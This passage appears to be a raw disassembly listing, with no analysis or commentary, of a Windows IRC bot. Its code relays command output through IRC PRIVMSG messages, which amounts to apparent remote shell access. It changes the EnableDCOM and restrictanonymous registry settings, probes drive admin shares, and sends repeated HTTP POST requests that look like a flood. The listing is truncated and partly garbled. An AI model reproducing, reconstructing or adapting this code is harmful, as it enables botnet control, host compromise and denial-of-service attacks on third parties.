sub_419C09+223j push 1 pop eax jmp short loc_419E0A sub_419C09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_43A448 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E97 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419E97: ; CODE XREF: sub_419E38+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419C09 add esp, 18h test eax, eax jnz short loc_419EBF push offset unk_43A424 jmp short loc_419EC4 ; --------------------------------------------------------------------------- loc_419EBF: ; CODE XREF: sub_419E38+7Ej push offset unk_43A400 loc_419EC4: ; CODE XREF: sub_419E38+85j lea eax, [ebp+var_298] push eax call sub_41C266 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419EF7 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419EF7: ; CODE XREF: sub_419E38+9Dj lea eax, [ebp+var_298] push eax call sub_415D38 push [ebp+var_14] call sub_40B6D6 pop ecx pop ecx push esi call near ptr 26E0000h nop pop edi pop esi sub_419E38 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p ; sub_40B4F5+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 2680231h nop mov esi, eax test esi, esi jz short loc_419F48 push 0 push esi nop call near ptr 2710910h test eax, eax jnz short loc_419F48 push esi xor edi, edi nop call near ptr 2660830h loc_419F48: ; CODE XREF: sub_419F16+1Aj ; sub_419F16+27j mov eax, edi pop edi pop esi retn sub_419F16 endp ; --------------------------------------------------------------------------- byte_419F4D db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A24435h dd 84E89000h, 0EB02256Fh db 0E3h ; =============== S U B R O U T I N E ======================================= sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap ; sub_419FD5+7Ep ... mov eax, dword_4DBC58 push esi mov esi, dword_427070 cmp eax, 0FFFFFFFFh jz short loc_419F81 push eax call esi loc_419F81: ; CODE XREF: sub_419F6D+Fj mov eax, dword_4DBC60 cmp eax, 0FFFFFFFFh jz short loc_419F8E push eax call esi loc_419F8E: ; CODE XREF: sub_419F6D+1Cj mov eax, dword_4DBC54 cmp eax, 0FFFFFFFFh jz short loc_419F9B push eax call esi loc_419F9B: ; CODE XREF: sub_419F6D+29j pop esi retn sub_419F6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B9C0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DBC5C nop call near ptr 27007FFh test eax, eax jnz short loc_419FD0 call sub_419F6D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419FD0: ; CODE XREF: sub_419F9D+28j push 1 pop eax leave retn sub_419F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p ; sub_41A05C+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43DB98 push [ebp+arg_4] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41A018 push 7D0h nop call near ptr 2670EEFh push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C266 add esp, 10h jmp short loc_41A02F ; --------------------------------------------------------------------------- loc_41A018: ; CODE XREF: sub_419FD5+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41C266 add esp, 0Ch loc_41A02F: ; CODE XREF: sub_419FD5+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA34 test eax, eax jg short loc_41A058 call sub_419F6D loc_41A058: ; CODE XREF: sub_419FD5+7Cj xor eax, eax leave retn sub_419FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DBC64 loc_41A074: ; CODE XREF: sub_41A05C+79j ; sub_41A05C+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DBC58 nop call near ptr 284094Ch test eax, eax jz loc_41A142 cmp [ebp+var_4], edi jnz short loc_41A0D7 lea eax, [ebp+var_8] push eax push dword_4DBC54 nop call near ptr 2840468h test eax, eax jz short loc_41A0CD cmp [ebp+var_8], 103h jnz loc_41A166 loc_41A0CD: ; CODE XREF: sub_41A05C+62j push 0Ah call near ptr 2670EEFh nop jmp short loc_41A074 ; --------------------------------------------------------------------------- loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A0EE loc_41A0DE: ; CODE XREF: sub_41A05C+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A13C inc eax cmp eax, [ebp+var_4] jb short loc_41A0DE loc_41A0EE: ; CODE XREF: sub_41A05C+80j mov [ebp+var_4], esi loc_41A0F1: ; CODE XREF: sub_41A05C+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DBC58 nop call near ptr 2700000h test eax, eax jz short loc_41A18E lea eax, [ebp+var_20C] push eax push ebx push dword_4DBC98 call sub_419FD5 add esp, 0Ch jmp loc_41A074 ; --------------------------------------------------------------------------- loc_41A13C: ; CODE XREF: sub_41A05C+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A0F1 ; --------------------------------------------------------------------------- loc_41A142: ; CODE XREF: sub_41A05C+45j push offset unk_43A4D0 push ebx push dword_4DBC98 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push 1 call near ptr 26E0000h nop loc_41A166: ; CODE XREF: sub_41A05C+6Bj call sub_419F6D push offset unk_43A4A8 push ebx push dword_4DBC98 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call near ptr 26E0000h nop loc_41A18E: ; CODE XREF: sub_41A05C+C3j push offset unk_43A478 push ebx push dword_4DBC98 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi nop call near ptr 26E0000h sub_41A05C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F6D xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_4346F0 push esi call dword_4CBAA0 test eax, eax jz loc_41A2AB push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_427108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_41A2AB lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_41A2AB mov edi, dword_427104 push 3 push esi push esi push offset dword_4DBC5C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2710A67h test eax, eax jz short loc_41A2AB push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BF70 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43DB98 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2660BA5h test eax, eax jnz short loc_41A2B3 loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj ; sub_41A1B1+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A361 ; --------------------------------------------------------------------------- loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j push [ebp+var_4] mov edi, dword_427070 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DBC58, eax mov eax, [ebp+var_8] mov dword_4DBC60, eax mov eax, [ebp+var_2C] mov dword_4DBC54, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DBC98, eax jz short loc_41A2ED push [ebp+arg_4] jmp short loc_41A2EE ; --------------------------------------------------------------------------- loc_41A2ED: ; CODE XREF: sub_41A1B1+135j push ebx loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj push offset dword_4DBC64 call sub_41C266 pop ecx pop ecx push esi push 0Ah push offset unk_43A534 call sub_40B3BA mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E928[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A05C push esi push esi call near ptr 2680000h nop cmp eax, esi mov dword_43E934[edi], eax jnz short loc_41A35F nop call near ptr 26808B7h push eax lea eax, [ebp+var_378] push offset unk_43A500 push eax call sub_41C266 lea eax, [ebp+var_378] push eax call sub_415D38 add esp, 10h loc_41A35F: ; CODE XREF: sub_41A1B1+185j xor eax, eax loc_41A361: ; CODE XREF: sub_41A1B1+FDj pop edi pop esi pop ebx leave retn sub_41A1B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A3AD call sub_41A3C6 jmp short loc_41A3B2 ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A366+3Ej call sub_41A6EA loc_41A3B2: ; CODE XREF: sub_41A366+45j add esp, 10h push [ebp+var_14] call sub_40B6D6 pop ecx push 0 call near ptr 26E0000h nop sub_41A366 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CBAB4, edi jnz loc_41A4F8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA54 test eax, eax jnz short loc_41A451 mov ax, word_4392A8 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CBA08 test eax, eax jz short loc_41A433 push offset dword_43A7D0 jmp short loc_41A438 ; --------------------------------------------------------------------------- loc_41A433: ; CODE XREF: sub_41A3C6+64j push offset dword_43A7B0 loc_41A438: ; CODE XREF: sub_41A3C6+6Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9C0 jmp short loc_41A464 ; --------------------------------------------------------------------------- loc_41A451: ; CODE XREF: sub_41A3C6+36j lea eax, [ebp+var_214] push offset dword_43A780 push eax call sub_41C266 pop ecx pop ecx loc_41A464: ; CODE XREF: sub_41A3C6+89j cmp [ebp+arg_C], edi jnz short loc_41A483 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A483: ; CODE XREF: sub_41A3C6+A1j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA54 test eax, eax jnz short loc_41A4F1 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CBA08 test eax, eax jz short loc_41A4D3 push offset dword_43A730 jmp short loc_41A4D8 ; --------------------------------------------------------------------------- loc_41A4D3: ; CODE XREF: sub_41A3C6+104j push offset dword_43A6FC loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9C0 jmp short loc_41A50B ; --------------------------------------------------------------------------- loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j push offset dword_43A6C0 jmp short loc_41A4FD ; --------------------------------------------------------------------------- loc_41A4F8: ; CODE XREF: sub_41A3C6+13j push offset dword_43A690 loc_41A4FD: ; CODE XREF: sub_41A3C6+130j lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx loc_41A50B: ; CODE XREF: sub_41A3C6+129j cmp [ebp+arg_C], edi jnz short loc_41A52A push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A52A: ; CODE XREF: sub_41A3C6+148j lea eax, [ebp+var_214] push eax call sub_415D38 cmp dword_4CBADC, edi pop ecx jnz loc_41A6A5 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB928 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A5EA cmp eax, 0EAh jz short loc_41A5EA mov esi, offset off_43A558 loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj push dword ptr [esi] push edi call sub_4191B8 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A595 push offset dword_43A66C jmp short loc_41A59A ; --------------------------------------------------------------------------- loc_41A595: ; CODE XREF: sub_41A3C6+1C6j push offset dword_43A640 loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A5CD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj lea eax, [ebp+var_214] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A578 jb short loc_41A57E jmp loc_41A682 ; --------------------------------------------------------------------------- loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj ; sub_41A3C6+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A679 loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj mov edi, [esi] push edi call sub_41E0B7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A66E push edi call sub_4190A5 push eax push 0 call sub_4191B8 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A628 push offset dword_43A61C jmp short loc_41A62D ; --------------------------------------------------------------------------- loc_41A628: ; CODE XREF: sub_41A3C6+259j push offset dword_43A5F0 loc_41A62D: ; CODE XREF: sub_41A3C6+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A661 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A661: ; CODE XREF: sub_41A3C6+27Fj lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx loc_41A66E: ; CODE XREF: sub_41A3C6+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A5F9 xor edi, edi loc_41A679: ; CODE XREF: sub_41A3C6+22Dj push [ebp+var_8] call dword_4CBA74 loc_41A682: ; CODE XREF: sub_41A3C6+21Fj cmp [ebp+var_10], 0EAh jz loc_41A54D lea eax, [ebp+var_214] push offset dword_43A5C8 push eax call sub_41C266 pop ecx pop ecx pop ebx jmp short loc_41A6B8 ; --------------------------------------------------------------------------- loc_41A6A5: ; CODE XREF: sub_41A3C6+177j lea eax, [ebp+var_214] push offset dword_43A598 push eax call sub_41C266 pop ecx pop ecx loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj cmp [ebp+arg_C], edi jnz short loc_41A6D6 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A3C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CBAB4, ebx push esi jnz loc_41A818 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA54 test eax, eax jnz short loc_41A775 mov ax, word_4392EC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CBA08 test eax, eax jz short loc_41A757 push offset dword_43A948 jmp short loc_41A75C ; --------------------------------------------------------------------------- loc_41A757: ; CODE XREF: sub_41A6EA+64j push offset dword_43A92C loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9C0 jmp short loc_41A788 ; --------------------------------------------------------------------------- loc_41A775: ; CODE XREF: sub_41A6EA+36j lea eax, [ebp+var_220] push offset dword_43A780 push eax call sub_41C266 pop ecx pop ecx loc_41A788: ; CODE XREF: sub_41A6EA+89j cmp [ebp+arg_C], ebx jnz short loc_41A7A7 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA54 test eax, eax jnz short loc_41A811 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CBA08 test eax, eax jz short loc_41A7F3 push offset dword_43A8EC jmp short loc_41A7F8 ; --------------------------------------------------------------------------- loc_41A7F3: ; CODE XREF: sub_41A6EA+100j push offset dword_43A8B4 loc_41A7F8: ; CODE XREF: sub_41A6EA+107j lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9C0 jmp short loc_41A82B ; --------------------------------------------------------------------------- loc_41A811: ; CODE XREF: sub_41A6EA+E2j push offset dword_43A878 jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A818: ; CODE XREF: sub_41A6EA+13j push offset dword_43A690 loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx loc_41A82B: ; CODE XREF: sub_41A6EA+125j cmp [ebp+arg_C], ebx jnz short loc_41A84A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A84A: ; CODE XREF: sub_41A6EA+144j lea eax, [ebp+var_220] push eax call sub_415D38 cmp dword_4CBADC, ebx pop ecx jnz loc_41A9BF push edi mov esi, offset off_43A558 mov edi, 200h loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_41910C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A889 push offset dword_43A858 jmp short loc_41A88E ; --------------------------------------------------------------------------- loc_41A889: ; CODE XREF: sub_41A6EA+196j push offset dword_43A830 loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A8BD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j lea eax, [ebp+var_220] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A568 jb short loc_41A86E nop call near ptr 2840C5Fh test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A9A7 loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A99C cmp bl, 41h jz loc_41A99C movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CBA44 cmp eax, 3 jnz short loc_41A99C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_41910C add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A95A push offset dword_43A858 jmp short loc_41A95F ; --------------------------------------------------------------------------- loc_41A95A: ; CODE XREF: sub_41A6EA+267j push offset dword_43A830 loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A98F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A98F: ; CODE XREF: sub_41A6EA+289j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx loc_41A99C: ; CODE XREF: sub_41A6EA+206j ; sub_41A6EA+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A8E8 loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j lea eax, [ebp+var_220] push offset dword_43A800 push eax call sub_41C266 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A9D2 ; --------------------------------------------------------------------------- loc_41A9BF: ; CODE XREF: sub_41A6EA+173j lea eax, [ebp+var_220] push offset dword_43A598 push eax call sub_41C266 pop ecx pop ecx loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A9F0 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A6EA endp ; =============== S U B R O U T I N E ======================================= sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp ; sub_41ABFB+DDp ... arg_0 = dword ptr 4 nop call near ptr 2690648h push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41AA04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p ; sub_41ABFB+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41ABF7 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BF70 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A8F0 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41ABF7 push 50h call dword_4CB9E4 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CBA64 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41ABF7 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB98C cmp eax, 0FFFFFFFFh jz loc_41ABF7 push 32003h call sub_41D9A5 mov edi, dword_4270B0 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41C2B8 call sub_41C2C2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BF70 push 32000h push esi push ebx call sub_41BF70 push ebx call sub_41B9C0 push 323EAh mov ebx, eax call sub_41D9A5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C266 push [ebp+var_8] push esi call sub_41C8A0 push offset asc_4349FC ; "\r\n" push esi call sub_41C8A0 push esi call sub_41B9C0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AB77 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AB47 ; --------------------------------------------------------------------------- loc_41AB44: ; CODE XREF: sub_41AA1E+157j mov eax, [ebp+arg_0] loc_41AB47: ; CODE XREF: sub_41AA1E+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AB57 push [ebp+var_C] jmp short loc_41AB58 ; --------------------------------------------------------------------------- loc_41AB57: ; CODE XREF: sub_41AA1E+132j push ebx loc_41AB58: ; CODE XREF: sub_41AA1E+137j add eax, esi push eax push [ebp+var_4] call dword_4CBA34 cmp eax, 0FFFFFFFFh jz short loc_41ABDE add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AB44 loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_4276F4 fst [ebp+arg_0] fcomp flt_4276F0 fnstsw ax sahf jnz short loc_41AB9F fld1 fstp [ebp+arg_0] loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj push [ebp+var_4] call dword_4CBA7C push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop 